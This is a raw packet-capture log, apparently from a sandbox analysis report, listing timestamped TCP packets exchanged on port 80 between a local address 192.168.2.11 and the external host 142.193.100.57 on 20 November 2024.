        Nov 20, 2024 09:14:53.886356115 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.886356115 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.886368036 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.886379004 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.886382103 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.886390924 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.886410952 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.977644920 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.977705002 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.977710962 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.977725029 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.977741003 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.977757931 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.977770090 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.977804899 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.977813005 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.977832079 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.977844954 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.977855921 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.977866888 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.977883101 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.977905035 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.977914095 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.977926016 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.977942944 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.977951050 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.977988005 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.978118896 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.978131056 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.978142977 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.978153944 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.978168964 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.978173971 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.978185892 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.978188992 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.978204966 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.978215933 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.978223085 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.978230953 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.978240967 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.978254080 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.978266001 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.978308916 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.978322983 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.978355885 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.978367090 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.978379011 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.978391886 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.978403091 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.978415012 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.978426933 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.978449106 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.978506088 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.978518009 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.978535891 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.978548050 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.978560925 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.978563070 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.978574038 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.978578091 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.978604078 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.978615046 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.978625059 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.978631973 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.978631973 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.978638887 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.978665113 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.978692055 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.978899956 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.978912115 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.978921890 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.978934050 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.978955030 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.978956938 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.978970051 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.978981018 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.978985071 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.978991985 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.979003906 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.979022980 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.151007891 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.151034117 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.151046991 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.151057959 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.151078939 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.151088953 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.151102066 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.151163101 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.151170015 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.151182890 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.151199102 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.151212931 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.151216030 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.151225090 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.151237965 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.151240110 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.151249886 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.151282072 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.151330948 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.151341915 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.151359081 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.151379108 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.151391029 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.151401043 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.151401997 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.151418924 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.151429892 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.151431084 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.151443958 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.151444912 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.151454926 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.151468992 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.151469946 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.151494980 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.151506901 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.151510954 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.151557922 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.151751041 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.151770115 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.151781082 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.151792049 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.151804924 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.151814938 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.151817083 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.151827097 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.151839018 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.151848078 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.151851892 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.151859999 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.151864052 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.151876926 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.151887894 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.151890993 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.151906013 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.151915073 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.151926041 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.151933908 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.151937962 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.151951075 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.151954889 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.151963949 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.151974916 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.152014971 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.152142048 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.152153969 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.152170897 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.152183056 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.152194023 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.152194023 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.152205944 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.152205944 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.152218103 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.152229071 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.152237892 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.152241945 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.152259111 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.152278900 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.152292013 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.152303934 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.152316093 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.152324915 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.152353048 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.152365923 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.152498007 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.152509928 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.152520895 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.152532101 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.152549028 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.152559996 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.152578115 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.152589083 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.152599096 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.152610064 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.152621031 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.152631998 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.152673006 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.152689934 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.152693033 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.152704954 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.152719021 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.152733088 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.152744055 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.152744055 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.152751923 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.152756929 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.152765989 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.152776003 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.152787924 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.152798891 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.152801991 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.152810097 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.152825117 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.152826071 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.152837038 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.152848959 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.152849913 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.152862072 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.152864933 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.152873039 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.152884007 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.152888060 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.152900934 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.152911901 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.152918100 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.152930021 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.152932882 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.152940989 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.152951956 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.152980089 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.153306007 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.153318882 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.153328896 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.153340101 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.153356075 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.153373003 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.153388023 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.153410912 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.153477907 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.153492928 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.153502941 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.153513908 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.153532028 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.153547049 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.153549910 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.153563023 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.153572083 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.153574944 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.153587103 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.153597116 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.153600931 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.153609991 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.153620958 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.153620958 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.153633118 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.153634071 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.153645992 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.153661013 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.153687954 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.153713942 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.153726101 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.153737068 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.153748035 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.153765917 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.153772116 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.153781891 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.153788090 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.153794050 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.153816938 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.153840065 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.227016926 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.227030039 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.227041960 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.227055073 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.227066040 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.227154970 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.227169037 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.227180004 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.227193117 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.227240086 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.227332115 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.227344036 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.227372885 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.227374077 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.227400064 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.227411032 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.227530956 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.227543116 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.227554083 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.227566004 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.227569103 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.227579117 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.227590084 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.227602005 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.227607965 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.227632999 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.227649927 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.227664948 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.227678061 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.227689028 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.227700949 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.227713108 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.227714062 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.227725029 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.227737904 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.227745056 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.227758884 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.227777004 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.227977991 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.227989912 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.228001118 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.228010893 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.228018999 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.228034019 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.228065014 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.228161097 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.228173018 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.228187084 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.228199005 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.228205919 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.228209972 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.228223085 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.228225946 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.228252888 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.228267908 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.228307009 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.228326082 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.228338957 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.228352070 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.228363991 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.228374958 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.228379965 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.228387117 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.228399038 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.228405952 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.228410959 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.228421926 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.228426933 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.228434086 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.228445053 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.228446960 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.228462934 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.228471041 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.228487968 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.228497982 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.228511095 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.228511095 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.228524923 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.228535891 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.228560925 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.228568077 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.228579044 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.228590012 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.228595972 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.228604078 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.228605986 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.228637934 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.405883074 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.405896902 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.405909061 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.405945063 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.405966997 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.406188011 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.406199932 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.406212091 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.406223059 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.406229019 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.406235933 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.406239986 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.406249046 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.406260967 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.406263113 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.406291008 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.406306028 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.406353951 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.406366110 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.406378031 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.406392097 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.406395912 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.406403065 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.406438112 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.406536102 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.406549931 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.406559944 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.406577110 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.406586885 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.406728983 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.406739950 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.406752110 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.406763077 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.406774044 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.406778097 CET4970180192.168.2.1142.193.100.57
